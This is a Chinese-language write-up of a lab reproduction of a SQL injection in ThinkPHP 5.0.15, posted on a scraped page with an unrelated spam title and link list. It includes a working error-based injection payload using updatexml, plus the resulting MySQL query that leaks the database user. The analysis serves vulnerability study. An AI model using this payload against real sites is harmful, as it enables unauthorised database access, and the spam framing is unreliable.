当前位置: 首页 > news >正文

企业门户网站系统成都生活家装饰公司总部电话

企业门户网站系统,成都生活家装饰公司总部电话,西安查派网站建设,网站备案快速目录 一、环境的部署 二、本地创建数据库 三、填写数据库连接文件 四、编写控制器 五、访问分析 debug报错会显示物理路径 原因是config.php文件相关配置 六、注入分析 七、进入断点调试 八、通过mysql执行语句查看结果 九、总结: 一、环境的部署 二、本地…

目录

一、环境的部署

二、本地创建数据库

三、填写数据库连接文件

四、编写控制器

五、访问分析

debug报错会显示物理路径

原因是config.php文件相关配置

六、注入分析

七、进入断点调试

八、通过mysql执行语句查看结果

九、总结:


一、环境的部署

二、本地创建数据库

mysql> create database tp5015;    --建库tp5015mysql> use tp5015        --用库mysql> create table users(id int,username varchar(30));    --建表usersmysql> insert into users(id,username) values(1,'xiaomi');    --插入数据mysql> select * from users;
+------+----------+
| id   | username |
+------+----------+
|    1 | xiaomi   |
+------+----------+

三、填写数据库连接文件

四、编写控制器

get传参

五、访问分析

debug报错会显示物理路径

原因是config.php文件相关配置

六、注入分析

我们使用的是5.0.15

通过下一个官方的下一版本的更新点进行分析

在request库里有call_user_f这个方法 典型的回调后门

?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

七、进入断点调试

八、通过mysql执行语句查看结果

insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);

mysql> use tp5015mysql> insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

九、总结:

其中漏洞在于$val进行拼接,在用Builder,insert进行替换最终执行的代码就是

insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);

http://www.yayakq.cn/news/808720/

相关文章:

  • 网站建设单选怎么做电玩网站
  • 公司网站域名注册流程专业app制作的公司
  • 网站做好了怎样推广专业做网站多少钱
  • 南京专业做网站腾冲住房和城乡建设局门户网站
  • 网站营销与推广帮人做网站一定要先收费
  • 苏州网站推广哪家好搜索引擎优化概述
  • 如何做网站搭建api接口做微信网站要多少钱
  • 中国空间站设计在轨飞行几年企业网站建设与推广方案实例
  • 国外饮品网站建设电子商务网站的预期收益
  • 做网站空间多大物流公司做网站哪家好
  • 做直播网站需要什么资质建设银行手机银行电脑版官方网站
  • 做网站的图片素材微盟微商城官网
  • 专业网站建设公司排名广西建设网查证
  • 电商网站建设收费室内设计师找图片的网站
  • 网站推广和网站优化网站建设三层架构实训报告
  • 百度收录自适应网站市城乡规划建设局网站
  • 雅虎提交网站入口如何做网站热力图
  • 深圳市建设网络有限公司网站个人网站做论坛
  • 官方网站平台有哪些wap网站引导页特效
  • dw中怎样做网站链接电子商务网站设计心得体会
  • 网站建设中的时尚资讯网站管理系统软件
  • 中专网站建设课程中文网站欣赏
  • 网站优化策略分析网站推广短信
  • 携程旅游电子商务网站策划书专注郑州网站建设
  • 找网站做q币通过信息系统融合和创新形成企业解决方案
  • 做一个平台网站大概多少钱在网站做责编会很累吗
  • 网站改进建议有哪些电商公司建设网站
  • 著名的外贸网站深圳航空股份有限公司
  • 广州做网站比较有名的公司展示中心网站建设
  • 广州定制网页设计百度快速排名优化工具